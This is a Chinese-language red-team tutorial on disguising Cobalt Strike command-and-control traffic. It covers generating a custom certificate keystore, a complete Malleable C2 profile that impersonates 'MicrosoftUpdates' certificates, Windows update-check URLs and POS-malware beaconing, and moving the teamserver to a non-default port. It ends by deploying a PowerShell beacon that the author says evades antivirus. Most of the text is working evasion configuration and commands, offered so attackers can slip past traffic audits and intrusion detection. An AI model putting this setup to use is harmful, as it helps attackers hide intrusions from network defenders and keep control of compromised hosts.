文章目录
零、为什么要对CS进行流量加密
cobalt strike 是很多红队的首选的攻击神器,在 APT 方面近几年应用范围很广,
很多著名的团队都曾使用这个工具进行 APT,效果显著。
导致很多 ids 入侵检测工具和流量检测工具已经可以拦截和发现,
特别是流量方面,如果使用默认证书进行渗透和测试,
特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,
被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。
那么红队之前的攻击就会付诸东流,攻击计划就要重新制定。
,
流量加密传输已经成为现在红队的基本素养,
生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,
目的逃逸流量安全审计,穿透检测器。
一、 生成免费的 ssl 证书
在运行 cobalt strike 默认使用的 cobaltstrike.store 证书,
生成新证书的意义是将使用我们现在的制定好的证书。
默认的证书 cobalt strike 会被检测。下面是生成证书的一些命令。
使用命令“ keytool -genkey -alias xbb -keyalg RSA -validity 36500 -keystore xbb.store
“
注意:
Xbb与xbb.store这两个字符串都要记住 因为修改 profile 要使用。
填写相关的地区信息 这些信息填写后在 profile 上还要使用 请勿乱填,填写了要保存。
执行命令后提示输入密码,这个密码也要记住。
如这里设置“ xbb1234 “,之后的信息一步一步的按照提示填写。
输入最后的“ y ”即可生成文件。
二、 创建并修改 C2-profile 文件
编译文件使用命令“ vim xbb.profile ”
内容为:
set sample_name "xbb POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101
Firefox/24.0";
#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}
#设置
code-signer{
set keystore "xbb.store";
set password "xbb1234";
set alias "alias";
}
#指定 DNS beacon 不用的时候指定到 IP 地址
set dns_idle "8.8.4.4";
#每个单独 DNS 请求前强制睡眠时间
set dns_sleep "0";
#通过 DNS 上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php
/windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @
PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
注意设置这个两个地方:
三、 检测 C2 profile 文件是否可用
使用命令“ ./c2lint moonsec.profile ”。执行成功。
失败得是会出线红色。
四、 配置 teamserver 文件运行上线
teamserver 默认端口是 50050 ,先修改一下端口,防止很容易就检测出来。
使用命令 “ vim teamserver ”, 修改为一个别的就好了
使用命令启动CS服务端“ nohup ./teamserver 192.168.0.102 123456 xbb.profile & ”。
放在后台运行 避免 shell 关闭 teamserver 也关闭。
本地CS客户端连接,
新建监听器,
生成攻击payload,
在次之前,先去看看https的证书,已经生效 而且操作并不会被查杀。
查看具体信息,就是我们刚刚填写的那些信息。
复制powershell,注意这个64位要勾选,否则可能可以上线但是无法执行命令。
执行命令后,上线CS。
五、 抓取流量
在攻击者打开大鲨鱼,监听流量。
先随便执行一些命令。
流量通讯已经被加密,